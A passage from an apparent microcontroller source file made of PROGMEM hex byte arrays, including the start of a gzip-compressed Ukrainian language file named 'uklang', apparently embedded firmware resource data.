0x6f, 0x74, 0x69, 0x6b, 0x82, 0xc6, 0x46, 0x72, 0x07, 0xf3, 0x32, 0x13, 0x35, 0xc7, 0x41, 0xea, 0x1b, 0x2d, 0xf1, 0xa2, 0x3a, 0x2f, 0xdd, 0x05, 0x31, 0xd3, 0x4d, 0x2f, 0xe2, 0x2b, 0x36, 0x55, 0x26, 0x77, 0xef, 0xcc, 0xb8, 0xe5, 0x55, 0xdd, 0x2e, 0x7f, 0x1b, 0x37, 0x58, 0xbf, 0x03, 0x67, 0x6f, 0xac, 0x2b, 0x8e, 0xe9, 0xcf, 0xe3, 0x06, 0x77, 0xc6, 0x8d, 0x0f, 0x07, 0x5d, 0xab, 0x7a, 0xf4, 0xac, 0x66, 0x18, 0xe0, 0x96, 0x65, 0x7f, 0x61, 0x3a, 0xee, 0x78, 0x8e, 0x0b, 0xf3, 0xdf, 0xeb, 0x77, 0x66, 0x75, 0x94, 0xc1, 0xfb, 0x22, 0x96, 0x0b, 0x7b, 0xe4, 0x62, 0x9d, 0x8c, 0x0b, 0xc7, 0xde, 0x58, 0x13, 0xfb, 0x3b, 0xcb, 0x5c, 0xd1, 0x26, 0x88, 0xbf, 0x15, 0x82, 0x3e, 0x38, 0x90, 0x9d, 0x30, 0xb6, 0xea, 0x2a, 0xdb, 0x88, 0xc8, 0xe7, 0x3a, 0x5e, 0xc9, 0xa4, 0x65, 0xc7, 0x0c, 0xe7, 0xea, 0x9d, 0xce, 0xc6, 0x70, 0x40, 0xc6, 0x33, 0x2b, 0x91, 0x49, 0x75, 0xeb, 0x8d, 0x6b, 0xf3, 0xb9, 0x2f, 0x0c, 0xcf, 0x5b, 0x56, 0x88, 0x31, 0x50, 0x8e, 0xc7, 0x3b, 0xbd, 0xad, 0x9e, 0x4a, 0x6a, 0x25, 0xea, 0x10, 0xcb, 0x88, 0xc2, 0xd2, 0x45, 0x83, 0x49, 0x01, 0xbe, 0x80, 0x11, 0x26, 0xd4, 0xdc, 0x9a, 0x1a, 0x09, 0xf0, 0xeb, 0xde, 0x23, 0xa2, 0x70, 0x09, 0xa4, 0x6f, 0x22, 0x23, 0xf0, 0x84, 0x0c, 0x06, 0x66, 0x5f, 0x20, 0x84, 0xd5, 0x4d, 0xa6, 0xe2, 0x90, 0x33, 0x64, 0x54, 0xea, 0x32, 0x57, 0x71, 0x2f, 0x20, 0x16, 0xa7, 0xea, 0x6f, 0xcd, 0x54, 0x87, 0x63, 0xf6, 0x21, 0x87, 0x13, 0xf5, 0x52, 0x22, 0x18, 0xb9, 0x73, 0x5b, 0xed, 0xd3, 0xfe, 0x13, 0x93, 0xd4, 0x1e, 0xd7, 0xe1, 0x42, 0x5f, 0xb4, 0xa0, 0x37, 0x76, 0x52, 0x1d, 0x8a, 0x9e, 0x98, 0x16, 0x5d, 0xe9, 0xfe, 0x19, 0xcc, 0x9d, 0x33, 0xf7, 0x61, 0xe2, 0xa0, 0xf2, 0xb6, 0x96, 0xc3, 0x33, 0xa3, 0xc5, 0xaa, 0xc5, 0x7b, 0x6f, 0x66, 0xe9, 0xf0, 0x19, 0x24, 0xde, 0xa0, 0xc6, 0xd7, 0x3d, 0x0e, 0x54, 0x0d, 0x01, 0x5a, 0x12, 0x13, 0x03, 0xc0, 0x80, 0x90, 0x78, 0xb7, 0xce, 0x96, 0x0d, 0xe7, 0x1c, 0x69, 0x95, 0x59, 0x68, 0x53, 0xcc, 0x1e, 0x6f, 0x5b, 0x2b, 0x45, 0x06, 0xe7, 0x03, 0x38, 0x6b, 0xa4, 0x0f, 0x4b, 0xe7, 0x2f, 0x46, 0x47, 0x8e, 0xde, 0x03, 0x94, 0xcf, 0x8d, 0x1c, 0xed, 0x29, 0xfc, 0x87, 0x43, 0x5b, 0x28, 0x68, 0xfa, 0x13, 0x9b, 0xea, 0x06, 0x5e, 0x11, 0x29, 0xb9, 0x23, 0xca, 0xc1, 0x59, 0x30, 0x10, 0x32, 0x7e, 0xb8, 0xa7, 0x70, 0xe9, 0x14, 0x23, 0xdf, 0x3d, 0x97, 0xb2, 0x83, 0x6a, 0x4d, 0x57, 0x89, 0xcb, 0x16, 0x17, 0xac, 0x8f, 0x87, 0x08, 0x2b, 0x85, 0x3c, 0x82, 0x4c, 0xfc, 0x8b, 0x42, 0x4d, 0x9c, 0x40, 0xa1, 0xa0, 0x48, 0xf9, 0xf0, 0x19, 0xce, 0x0f, 0x37, 0x6c, 0x7c, 0xe2, 0x1d, 0x4d, 0xc8, 0x66, 0x78, 0x89, 0xeb, 0xda, 0x71, 0xff, 0x06, 0x10, 0x6c, 0x1c, 0xf7, 0x19, 0x4d, 0x83, 0x90, 0xb6, 0xa9, 0x74, 0x64, 0x61, 0xdf, 0xe8, 0x4c, 0x53, 0xf8, 0xe2, 0xe2, 0x2f, 0xa2, 0xd1, 0x55, 0x13, 0x6e, 0x82, 0x1e, 0x68, 0x6f, 0x6c, 0xe8, 0xef, 0xfa, 0x79, 0x25, 0x05, 0x9d, 0x75, 0x27, 0xb8, 0xa8, 0x55, 0x8f, 0x8c, 0x6e, 0x9b, 0x33, 0xb1, 0xf3, 0xc0, 0x35, 0x88, 0xd4, 0x39, 0x4a, 0x0c, 0x76, 0x0f, 0x21, 0xdf, 0xc9, 0x26, 0xe8, 0x9b, 0xff, 0xe2, 0xd3, 0x49, 0x04, 0xb1, 0x58, 0xcc, 0x7b, 0x20, 0xed, 0xf2, 0x23, 0xc0, 0x0a, 0xb7, 0x42, 0xad, 0x48, 0xe5, 0x79, 0x0a, 0x30, 0xa7, 0xed, 0x80, 0x36, 0xd3, 0x78, 0xbf, 0x4e, 0x20, 0x6e, 0xe3, 0xc0, 0xf0, 0xb6, 0xf0, 0x21, 0x00, 0xce, 0x0a, 0xf3, 0x70, 0x84, 0x5c, 0x9f, 0x6a, 0x54, 0x80, 0x10, 0x3a, 0x52, 0xb0, 0xab, 0x36, 0x3a, 0x73, 0x12, 0xe1, 0x7a, 0x62, 0x8b, 0xdc, 0x8b, 0x86, 0x1d, 0x6d, 0x69, 0x10, 0x65, 0x63, 0xd0, 0xf1, 0x8a, 0x9b, 0x0e, 0x85, 0x91, 0x69, 0xa1, 0x11, 0xc5, 0x35, 0xc4, 0xc1, 0x79, 0x8d, 0xab, 0x85, 0x15, 0x8d, 0x36, 0x09, 0x88, 0x4e, 0x29, 0xdc, 0x6b, 0x12, 0x85, 0xbe, 0xd4, 0x31, 0xfc, 0x06, 0xb7, 0x4b, 0x3e, 0xda, 0xce, 0x3b, 0xc9, 0xb3, 0xa4, 0x76, 0x15, 0xd3, 0x10, 0xe9, 0x4b, 0x00, 0x6a, 0x50, 0x53, 0xf5, 0xc5, 0xe2, 0x03, 0x93, 0xa2, 0x2e, 0xbf, 0x7d, 0x4e, 0x10, 0xe4, 0x08, 0xd2, 0xdc, 0x15, 0x96, 0x91, 0x87, 0x4a, 0x02, 0x76, 0xc2, 0x04, 0xeb, 0x18, 0xef, 0xa8, 0x8c, 0x3a, 0xc3, 0x1a, 0x44, 0xc6, 0xb8, 0x8b, 0x53, 0x7f, 0x9b, 0xbb, 0x23, 0x00, 0x56, 0xcd, 0x31, 0x2c, 0x2d, 0x05, 0x9a, 0x8e, 0x1e, 0xbc, 0x3c, 0x52, 0xdf, 0xab, 0xc3, 0xa3, 0x17, 0x07, 0xeb, 0xd7, 0xab, 0x37, 0x61, 0x69, 0xdc, 0x1b, 0xf6, 0x74, 0xf6, 0xc4, 0x1e, 0xbb, 0x93, 0x13, 0x39, 0x4e, 0x40, 0x09, 0xa9, 0x98, 0x01, 0x83, 0xe7, 0xce, 0x89, 0x88, 0x57, 0xde, 0xab, 0xab, 0xe3, 0x84, 0xd7, 0xb8, 0x28, 0xbe, 0x7d, 0xc9, 0x3f, 0x42, 0x75, 0x33, 0x85, 0x9e, 0x67, 0xe6, 0xb8, 0x42, 0xf5, 0x75, 0xb9, 0x88, 0x0d, 0x52, 0x71, 0xea, 0xb9, 0xca, 0xe8, 0xd5, 0x7e, 0x2c, 0xb5, 0xdb, 0x3b, 0xfb, 0x6b, 0xb6, 0xfa, 0x2d, 0xc7, 0xa8, 0x1b, 0xd1, 0x35, 0x12, 0x67, 0x72, 0xb3, 0x5d, 0x7f, 0x6a, 0x0a, 0x53, 0x09, 0x51, 0xf5, 0x2f, 0xcc, 0x34, 0xaf, 0x7b, 0x1f, 0xbc, 0x9d, 0x72, 0x29, 0x49, 0x0f, 0x51, 0x2f, 0xf7, 0x6c, 0x0f, 0x78, 0x9c, 0x99, 0xdd, 0x50, 0x9e, 0x98, 0x02, 0x2b, 0x6d, 0x6f, 0x74, 0xde, 0xa7, 0x7a, 0x9a, 0x60, 0x63, 0xd1, 0x43, 0x4d, 0x12, 0xbe, 0x3a, 0x23, 0x47, 0x86, 0xf5, 0x8c, 0xc5, 0x88, 0x44, 0x16, 0x40, 0x1c, 0x9b, 0x01, 0x72, 0xa0, 0x13, 0x24, 0x8d, 0x1c, 0x85, 0x29, 0x23, 0x39, 0x27, 0xec, 0xb4, 0x04, 0xeb, 0x61, 0xc8, 0xab, 0x00, 0x9f, 0x2d, 0xa2, 0x81, 0xb4, 0x19, 0xa8, 0x00, 0x7b, 0x7d, 0x2e, 0x3c, 0x21, 0x8a, 0x81, 0x5d, 0x11, 0x87, 0xc0, 0x62, 0xcd, 0x9a, 0x66, 0x91, 0x26, 0xce, 0x24, 0x74, 0x91, 0x09, 0xd9, 0xc4, 0x1e, 0x9a, 0x97, 0xba, 0x8a, 0x85, 0x12, 0xc8, 0x6e, 0x56, 0x3c, 0xa8, 0x0d, 0x04, 0xba, 0xbb, 0x7d, 0xef, 0xce, 0x9d, 0xbf, 0xcc, 0xc6, 0xee, 0x02, 0x79, 0xcd, 0x6c, 0x00, 0xb1, 0x8b, 0xce, 0x2a, 0x57, 0x10, 0x85, 0x85, 0xfc, 0x92, 0x5d, 0x31, 0xc1, 0x3d, 0xf5, 0xbd, 0x1e, 0x8e, 0xd5, 0x53, 0x41, 0xba, 0xce, 0xbf, 0x26, 0x52, 0x78, 0x8b, 0x7c, 0x07, 0x11, 0xd4, 0xe0, 0xec, 0x52, 0xef, 0x24, 0x55, 0x11, 0xeb, 0xd5, 0xb7, 0xcf, 0xcb, 0x2f, 0xe2, 0x86, 0x54, 0xc8, 0x85, 0x6f, 0x13, 0xc0, 0xaa, 0x58, 0xd3, 0x0a, 0x29, 0x12, 0xd4, 0x0d, 0xd6, 0x27, 0x20, 0x21, 0x26, 0x79, 0xef, 0x6b, 0x9f, 0xb4, 0x79, 0x60, 0x92, 0xb0, 0xd2, 0x8e, 0x32, 0xf0, 0xd7, 0x94, 0x58, 0x16, 0xb5, 0x14, 0x42, 0x8f, 0x0c, 0xd3, 0xfb, 0x13, 0x21, 0x83, 0x90, 0x4c, 0xa9, 0x6a, 0xa4, 0x75, 0xfc, 0xbb, 0x30, 0x6c, 0xac, 0xf2, 0x31, 0xe7, 0xe7, 0x82, 0x6c, 0xab, 0x48, 0x38, 0x10, 0x9c, 0xea, 0x95, 0x5f, 0x16, 0xa0, 0x08, 0x35, 0x46, 0x2e, 0x17, 0xf6, 0x9f, 0x92, 0xc1, 0x0e, 0x82, 0xb7, 0x97, 0x2e, 0x78, 0x57, 0x3d, 0xb4, 0x8b, 0x0b, 0xec, 0x30, 0x63, 0xb0, 0x08, 0x54, 0x8f, 0xd8, 0x37, 0x4a, 0x0d, 0x75, 0x92, 0xb1, 0x9c, 0xe1, 0x4e, 0x19, 0xc9, 0xe2, 0x0a, 0x34, 0x14, 0x68, 0xdf, 0x3e, 0x02, 0xf1, 0x3b, 0xde, 0x2e, 0xea, 0x67, 0xc1, 0xf0, 0x96, 0x72, 0x3c, 0x72, 0xdc, 0xb1, 0x2a, 0x84, 0xe8, 0x26, 0xc6, 0x15, 0x7a, 0x00, 0x94, 0xf8, 0x5d, 0x9d, 0x6f, 0x93, 0x74, 0x8c, 0x60, 0x94, 0xea, 0x22, 0x87, 0x2c, 0x89, 0xda, 0xab, 0x33, 0x2e, 0xff, 0xa0, 0x52, 0x29, 0xdd, 0xae, 0x88, 0xe5, 0x8c, 0xa3, 0xb5, 0xc6, 0x77, 0x8e, 0xeb, 0x10, 0x85, 0x07, 0x4b, 0xb0, 0x62, 0x1c, 0x23, 0x9f, 0x29, 0xb2, 0x8b, 0x0e, 0x5e, 0x46, 0x63, 0xb1, 0xfc, 0xd2, 0xb2, 0x52, 0x26, 0x31, 0xbb, 0x13, 0xef, 0xea, 0x82, 0x75, 0xb8, 0x66, 0x25, 0xdd, 0x55, 0xbb, 0xbe, 0xff, 0x4b, 0x7c, 0xb3, 0x23, 0x65, 0xc7, 0xa7, 0xef, 0x90, 0xf7, 0x62, 0x33, 0xe2, 0x27, 0x67, 0xd2, 0x2a, 0x9c, 0x01, 0x99, 0x29, 0xc9, 0x13, 0xd2, 0xac, 0x94, 0x0e, 0x0c, 0x39, 0xe6, 0xc2, 0x99, 0x56, 0x89, 0x6c, 0x78, 0xd9, 0xd0, 0xfd, 0x91, 0xdd, 0x55, 0xa8, 0x9d, 0x07, 0xec, 0xad, 0x1c, 0xaa, 0xa1, 0x9b, 0x17, 0x26, 0xf4, 0x89, 0x2d, 0xdb, 0xae, 0x9e, 0x71, 0x4a, 0x8a, 0xd4, 0xb5, 0x1b, 0x56, 0x50, 0x02, 0x4b, 0x01, 0xce, 0x0c, 0xb8, 0x71, 0x1d, 0xfe, 0xef, 0x4d, 0xde, 0x2c, 0x4a, 0xc7, 0xe0, 0x79, 0xb5, 0xf5, 0x8d, 0x81, 0x50, 0x35, 0xd5, 0x61, 0x81, 0x1c, 0xa7, 0x28, 0x77, 0xd5, 0xbb, 0x7b, 0xbb, 0x77, 0xa0, 0xf8, 0xc8, 0xad, 0xcb, 0x94, 0x09, 0x3c, 0x62, 0x2e, 0x65, 0xcf, 0x73, 0x2f, 0x9a, 0xeb, 0x33, 0xa9, 0x43, 0xb2, 0xca, 0x7d, 0x2f, 0x7f, 0x47, 0x56, 0xf8, 0x5e, 0x38, 0x9f, 0x2a, 0x24, 0xd5, 0xd9, 0x51, 0xa1, 0x31, 0xf0, 0x71, 0xd5, 0xae, 0x61, 0x63, 0x8c, 0x40, 0x16, 0x08, 0x36, 0xa1, 0x09, 0x32, 0x1e, 0x89, 0x0c, 0xaa, 0x97, 0xf8, 0xde, 0xb1, 0xf3, 0x71, 0xef, 0x0a, 0x7d, 0x0b, 0x96, 0x3d, 0x5a, 0x9e, 0xa3, 0x88, 0x48, 0xd9, 0x25, 0x0f, 0x13, 0xab, 0x38, 0x72, 0x08, 0x09, 0x75, 0x57, 0x69, 0xf5, 0xc3, 0xdd, 0xa9, 0xfe, 0x52, 0xd7, 0x68, 0x8e, 0x2b, 0xe1, 0xbf, 0x7f, 0xd7, 0x68, 0xea, 0xdc, 0xff, 0xce, 0x88, 0xaf, 0x9f, 0x56, 0x56, 0x7c, 0xfd, 0xb4, 0x36, 0xe3, 0xfe, 0x15, 0x66, 0x6c, 0xb4, 0x24, 0x8f, 0x5c, 0x8e, 0x54, 0xc8, 0x8a, 0xc0, 0x2f, 0xb5, 0xc4, 0xff, 0x9a, 0xef, 0xf9, 0xf5, 0x0a, 0x81, 0x30, 0x95, 0x70, 0x66, 0x63, 0xc0, 0x96, 0x94, 0xb3, 0xb4, 0x92, 0xf9, 0x03, 0x8f, 0xb1, 0x3e, 0x45, 0x80, 0xc4, 0x4d, 0xf2, 0x28, 0x63, 0x97, 0x15, 0x4c, 0xb4, 0x23, 0xfb, 0xe5, 0x41, 0x2f, 0x1d, 0xad, 0xbf, 0xb5, 0x65, 0xb0, 0x2e, 0x1b, 0xfb, 0xce, 0x1c, 0xb8, 0xaa, 0xf1, 0xc4, 0xff, 0xf5, 0x88, 0x61, 0xa5, 0x2c, 0x8d, 0x8a, 0x59, 0xeb, 0xd9, 0xfe, 0x6e, 0x3b, 0x75, 0x54, 0x20, 0xf6, 0x5c, 0xab, 0x85, 0x35, 0x66, 0xec, 0x64, 0x56, 0x0a, 0xb8, 0x98, 0xeb, 0xa6, 0x07, 0x9a, 0xf6, 0x9e, 0xba, 0x49, 0x4a, 0xcc, 0x04, 0x0e, 0x36, 0xab, 0x85, 0x1d, 0xe3, 0x74, 0xf9, 0xdb, 0xd5, 0x62, 0xc7, 0xbe, 0x6a, 0xbb, 0x69, 0x11, 0x8b, 0x37, 0xd4, 0xd0, 0x23, 0xa2, 0xa8, 0x45, 0x48, 0xe7, 0x16, 0x5c, 0xdc, 0xa4, 0x2d, 0x0a, 0x4f, 0x74, 0x36, 0x95, 0x8b, 0xaa, 0x5f, 0x66, 0xba, 0x9f, 0x58, 0xbb, 0xf2, 0x2f, 0x1b, 0x15, 0x52, 0xc4, 0x26, 0xe3, 0x8c, 0xe1, 0xca, 0x0f, 0x8f, 0x60, 0x8f, 0x6b, 0x9b, 0x55, 0xab, 0xd7, 0xa9, 0x95, 0x22, 0xe1, 0xcf, 0x72, 0x85, 0xb9, 0x32, 0x29, 0xea, 0xac, 0x1a, 0x4e, 0xfd, 0xe0, 0x42, 0x6d, 0x7a, 0x12, 0xcf, 0x3a, 0x6d, 0xfa, 0xae, 0xe8, 0x39, 0x2f, 0x23, 0xec, 0x68, 0x4e, 0x93, 0xc2, 0x74, 0x2b, 0xb3, 0xb9, 0x6d, 0xc2, 0x11, 0xd7, 0xd6, 0x00, 0x0f, 0x67, 0xde, 0x53, 0xac, 0xc7, 0x88, 0xaf, 0x3b, 0x5b, 0x29, 0x6a, 0x2a, 0xbb, 0x75, 0xc7, 0xeb, 0x43, 0xad, 0x18, 0x1d, 0xf4, 0xfd, 0x6a, 0x4a, 0x6b, 0x02, 0xf2, 0x15, 0x82, 0xf2, 0x61, 0xff, 0xe2, 0xfd, 0x8d, 0x2b, 0x24, 0xee, 0x81, 0x74, 0x51, 0x6a, 0x37, 0x4a, 0x35, 0x58, 0xf0, 0x73, 0x16, 0x76, 0x2d, 0x86, 0x6c, 0x52, 0x13, 0xab, 0x64, 0x28, 0x42, 0x36, 0x8a, 0xf7, 0x1e, 0x31, 0x93, 0x80, 0xd6, 0xa1, 0xea, 0xad, 0xac, 0xd8, 0xca, 0x89, 0xce, 0xcc, 0xaf, 0x33, 0x3b, 0x34, 0x7a, 0x97, 0xf6, 0x1f, 0x96, 0xf6, 0xe4, 0xa4, 0x9e, 0x7c, 0x75, 0x78, 0xb0, 0xff, 0xf8, 0xf1, 0xa1, 0x1f, 0xe2, 0x84, 0x1e, 0x9d, 0xf7, 0x01, 0xe6, 0xcd, 0x32, 0xb1, 0x51, 0x5a, 0xb7, 0xc3, 0x21, 0xf3, 0x6d, 0xf5, 0x4a, 0xd0, 0x09, 0x72, 0x80, 0x63, 0xb9, 0x9b, 0x2f, 0xff, 0xf6, 0xcb, 0x2d, 0xf6, 0xb2, 0xd3, 0xed, 0xb9, 0xfe, 0x67, 0x74, 0xc6, 0x0f, 0x9e, 0xe9, 0xb4, 0x06, 0xf9, 0xcf, 0x10, 0xde, 0xbe, 0xfc, 0x33, 0x4f, 0xd7, 0x7d, 0x27, 0x4b, 0xcc, 0xa1, 0xfa, 0xab, 0xba, 0x7b, 0x77, 0xa6, 0xf6, 0xda, 0xca, 0x95, 0x9a, 0x0f, 0x3f, 0xcc, 0xd4, 0x13, 0x34, 0x6c, 0x2c, 0x6e, 0x78, 0xfa, 0xf3, 0xb6, 0xe8, 0x08, 0x9d, 0x3c, 0x27, 0x2d, 0x31, 0x78, 0xad, 0x7a, 0xf6, 0xe0, 0xe1, 0x04, 0x03, 0x2e, 0x25, 0xe7, 0x83, 0x03, 0x22, 0xd9, 0x73, 0xb0, 0x46, 0x0e, 0x67, 0x4b, 0x4d, 0xe8, 0x6a, 0x34, 0xc7, 0x5e, 0x04, 0x7b, 0xbd, 0x12, 0xc2, 0x56, 0x62, 0x71, 0x51, 0x02, 0x27, 0xc0, 0xb3, 0xb0, 0xa5, 0x62, 0x4a, 0xae, 0x5f, 0x87, 0x2a, 0xc0, 0xbe, 0x7b, 0xa6, 0x4e, 0xc9, 0xa4, 0x56, 0x89, 0xee, 0xc3, 0x55, 0x48, 0xee, 0x96, 0xf6, 0x4b, 0x96, 0x1f, 0x36, 0xd7, 0x5b, 0x4e, 0x01, 0x68, 0x27, 0x7d, 0x27, 0xfe, 0xff, 0x33, 0x39, 0xe8, 0xdb, 0x82, 0xf0, 0xeb, 0xc6, 0x34, 0x20, 0x94, 0x02, 0x21, 0xfe, 0x32, 0xc7, 0x09, 0x2c, 0xff, 0x9b, 0x48, 0x45, 0xcf, 0x79, 0x92, 0x42, 0xfb, 0x49, 0x83, 0x0c, 0x25, 0xa7, 0x20, 0xa3, 0x6e, 0x8e, 0xc4, 0x74, 0x8a, 0xc9, 0xc6, 0x5b, 0x44, 0x41, 0xd0, 0x26, 0xdd, 0x19, 0xf9, 0xb1, 0x68, 0x41, 0x68, 0x6e, 0x61, 0x69, 0x6e, 0x0b, 0xdf, 0xff, 0x4a, 0x74, 0x3f, 0xb3, 0x85, 0x65, 0x88, 0x91, 0x56, 0x44, 0xc3, 0x5c, 0x87, 0x01, 0xb5, 0xb4, 0x07, 0xa4, 0xf5, 0x32, 0x3e, 0xbc, 0x62, 0xe6, 0x11, 0xfa, 0xb6, 0xd0, 0x4e, 0xc6, 0xd6, 0xc1, 0x45, 0x9c, 0xca, 0x74, 0xde, 0x31, 0xbe, 0xbd, 0xd8, 0x42, 0x5b, 0xe9, 0xef, 0x9b, 0x35, 0xb6, 0x1d, 0x38, 0x12, 0x3e, 0x9b, 0x0b, 0x12, 0xc1, 0xe2, 0x9b, 0x1b, 0x38, 0x77, 0x4b, 0xd8, 0x0a, 0x68, 0x6e, 0x98, 0x3d, 0x0f, 0x1a, 0x37, 0x84, 0x64, 0x00, 0x51, 0x41, 0xd8, 0x0b, 0x48, 0x11, 0xa1, 0x42, 0x47, 0xb4, 0x9a, 0xb1, 0x4c, 0x35, 0x9e, 0xb8, 0x2a, 0x32, 0x25, 0x94, 0x9a, 0x46, 0x0e, 0xbb, 0x9f, 0x91, 0xde, 0x7d, 0xfb, 0x3c, 0x27, 0xdd, 0x13, 0x6e, 0xaa, 0x03, 0x37, 0x6d, 0x57, 0x52, 0x1b, 0x8e, 0x92, 0x38, 0x51, 0x10, 0xfa, 0xe0, 0xc7, 0x9e, 0x8b, 0x8b, 0xd9, 0xe8, 0xf4, 0xe8, 0x2c, 0x92, 0x91, 0x04, 0xf2, 0x3f, 0x95, 0x06, 0x8c, 0x83, 0x58, 0x72, 0xa8, 0x2b, 0x3a, 0x7d, 0x38, 0x83, 0x1d, 0x25, 0xba, 0x1a, 0x80, 0xb5, 0x9b, 0x83, 0x33, 0xe3, 0x86, 0xa0, 0xe8, 0x05, 0x79, 0x03, 0x7a, 0x03, 0x6b, 0x64, 0xd2, 0x7d, 0x89, 0x44, 0xd5, 0x25, 0x7f, 0x25, 0x09, 0x58, 0xcd, 0x85, 0xf5, 0xf8, 0xd1, 0xac, 0xa9, 0xb3, 0xcb, 0xf0, 0x98, 0x70, 0x26, 0xcb, 0x71, 0x57, 0xce, 0x07, 0xc6, 0xe3, 0xdc, 0x66, 0xd2, 0xcf, 0xaf, 0xc0, 0x43, 0xaf, 0x8f, 0xf3, 0xf5, 0x13, 0xd4, 0xdd, 0xfb, 0xf1, 0xc7, 0x29, 0x0a, 0xfb, 0xbb, 0xaa, 0x4b, 0x83, 0x7a, 0x5d, 0x9d, 0xfa, 0x66, 0x97, 0x9e, 0xba, 0x2a, 0x12, 0xd0, 0xf1, 0xf5, 0xb5, 0x03, 0x1b, 0xe1, 0x83, 0xaf, 0xd9, 0x81, 0x38, 0xb3, 0xd1, 0x59, 0x63, 0xf6, 0xa9, 0xfc, 0x8e, 0xb3, 0x95, 0xc3, 0x5e, 0xd1, 0x4b, 0xa3, 0x6b, 0xcf, 0x2c, 0x9f, 0xba, 0xd8, 0xc3, 0xf9, 0xd0, 0x17, 0xfd, 0x5a, 0x10, 0x18, 0x37, 0x9b, 0x4b, 0xf6, 0x3a, 0x53, 0xe5, 0x21, 0xe6, 0x4a, 0xe7, 0x87, 0xd0, 0x21, 0x12, 0x37, 0x66, 0xb3, 0xc8, 0x1f, 0xec, 0x10, 0xe6, 0x32, 0xa3, 0x31, 0x91, 0x8c, 0x14, 0x26, 0x4d, 0xd1, 0xe0, 0x6a, 0x21, 0xf3, 0xc8, 0xff, 0x5c, 0x66, 0xf8, 0xcd, 0x56, 0xad, 0xf0, 0x1d, 0xca, 0x06, 0x0f, 0x7b, 0xb2, 0x9d, 0x6d, 0xb3, 0xd0, 0xfb, 0xf2, 0x26, 0xf4, 0x46, 0xe3, 0x70, 0x4d, 0xcf, 0x37, 0x26, 0x8f, 0x67, 0xdf, 0x5e, 0xfc, 0x55, 0x2a, 0xf7, 0x37, 0xa6, 0xa7, 0x41, 0xa7, 0x8f, 0x8c, 0x40, 0xfb, 0x9b, 0xaa, 0x85, 0xea, 0xba, 0x3f, 0xa5, 0xe0, 0x1e, 0x2b, 0x9d, 0x3d, 0x95, 0x1f, 0xc5, 0x7c, 0x4c, 0x4c, 0x7a, 0x98, 0xc8, 0x85, 0x4c, 0x5a, 0x7c, 0xd8, 0x55, 0x57, 0x09, 0x3b, 0xd1, 0x59, 0x0d, 0x69, 0x52, 0xb4, 0x38, 0xbb, 0xdb, 0xe8, 0xc8, 0x0a, 0x57, 0x5b, 0x2c, 0xdc, 0xbd, 0x73, 0x47, 0xe5, 0x75, 0xe0, 0xb1, 0x4c, 0x82, 0x7e, 0x63, 0xf7, 0xf8, 0x03, 0x09, 0x7f, 0x6a, 0x48, 0x7d, 0xfc, 0xfb, 0xc8, 0xf3, 0x19, 0x60, 0xc7, 0x70, 0x04, 0xfc, 0x86, 0x5b, 0x5a, 0x25, 0x05, 0xba, 0xa0, 0x6c, 0x0c, 0xf4, 0x81, 0xbd, 0x32, 0xb3, 0x2c, 0xfc, 0x62, 0x21, 0x8c, 0x64, 0xa6, 0xd8, 0x5b, 0xe6, 0xbe, 0x03, 0xe3, 0xaf, 0x20, 0x6c, 0xb2, 0xa0, 0xe1, 0xaa, 0x19, 0xc7, 0x65, 0x60, 0xda, 0x55, 0x13, 0xd7, 0xfa, 0xa1, 0xca, 0xd1, 0x3f, 0x26, 0xf5, 0x57, 0x86, 0x26, 0x90, 0x98, 0xbb, 0x08, 0x5e, 0x45, 0x0b, 0x9d, 0x5b, 0xf4, 0x36, 0x7e, 0x74, 0x11, 0x7a, 0xd6, 0x11, 0x07, 0xe7, 0xe3, 0xd8, 0x8f, 0x8d, 0xa2, 0x8c, 0x38, 0x2e, 0x55, 0x77, 0x69, 0x2d, 0xeb, 0x03, 0x53, 0xd1, 0xa2, 0x69, 0xee, 0x2c, 0xbf, 0xb0, 0xcf, 0xe4, 0x4c, 0xdf, 0xcb, 0xe5, 0x88, 0x75, 0x33, 0x45, 0xd6, 0xfd, 0xe9, 0x8a, 0x2a, 0x84, 0xdf, 0x5b, 0x9f, 0x2c, 0x3e, 0x0c, 0x7d, 0xca, 0x0e, 0x4d, 0x7a, 0x00, 0xcf, 0x9d, 0x7d, 0xbb, 0x41, 0xa4, 0x92, 0x71, 0x46, 0xb2, 0x9e, 0xed, 0x91, 0x84, 0xa8, 0x44, 0xbe, 0x21, 0xd1, 0xb6, 0x75, 0x43, 0xff, 0x9b, 0x1b, 0x3b, 0xdf, 0xfd, 0xfb, 0xbb, 0xff, 0x00, 0x10, 0x2b, 0x84, 0x67, 0xca, 0x1d, 0x00, 0x00};\nconst char uklang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x75, 0x6b, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xbd, 0x5a, 0x5b, 0x6f, 0x1b, 0xd7, 0x11, 0x7e, 0xcf, 0xaf, 0x38, 0xf6, 0x4b, 0x6d, 0x80, 0x52, 0x65, 0xa7, 0x01, 0xd2, 0x00, 0x7d, 0x70, 0x1b, 0xbb, 0x30, 0xd0, 0x02, 0x46, 0x94, 0xb4, 0x7d, 0x28, 0x20, 0x50, 0xd2, 0x2a, 0x66, 0x43, 0x91, 0x02, 0x49, 0x5b, 0x2d, 0x8a, 0x02, 0xa2, 0x65, 0x59, 0x0a, 0x6a, 0x48, 0xa9, 0xa1, 0x52, 0x80, 0x11, 0xc7, 0xb9, 0x00, 0x29, 0x8a, 0x3e, 0x98, 0xa4, 0x48, 0xf3, 0x2e, 0x01, 0xfe, 0x05, 0xbb, 0xff, 0xa8, 0x33, 0xdf, 0xcc, 0xd9, 0x3d, 0x67, 0x77, 0x69, 0xd9, 0x6d, 0xda, 0x04, 0x51, 0xa4, 0xdd, 0xb3, 0x73, 0xe6, 0x3e, 0xdf, 0xcc, 0x39, 0x7f, 0x7e, 0xc7, 0xd0, 0x3f, 0x97, 0xcb, 0xc5, 0xca, 0xa7, 0x97, 0x3f, 0x30, 0x97, 0xef, 0x7d, 0x76, 0xb9, 0x20, 0x4f, 0xb6, 0x8b, 0xb5, 0x4a, 0x49, 0x1e, 0x86, 0xcf, 0xc3, 0xaf, 0xe8, 0xbf, 0xbf, 0x87, 0x5f, 0xd3, 0x7f, 0xc7, 0x61, 0x8b, 0x7e, 0x3e, 0xa3, 0x7f, 0x5f, 0xd8, 0xa5, 0xeb, 0xa5, 0xfa, 0x5a, 0xb9, 0x58, 0xda, 0x0c, 0x6a, 0x58, 0xfd, 0x7d, 0xd8, 0x0f, 0x47, 0x26, 0x3c, 0x8f, 0x76, 0xc2, 0x33, 0xfa, 0x75, 0x1c, 0x3d, 0x30, 0xe1, 0x94, 0x7e, 0x7d, 0x19, 0xce, 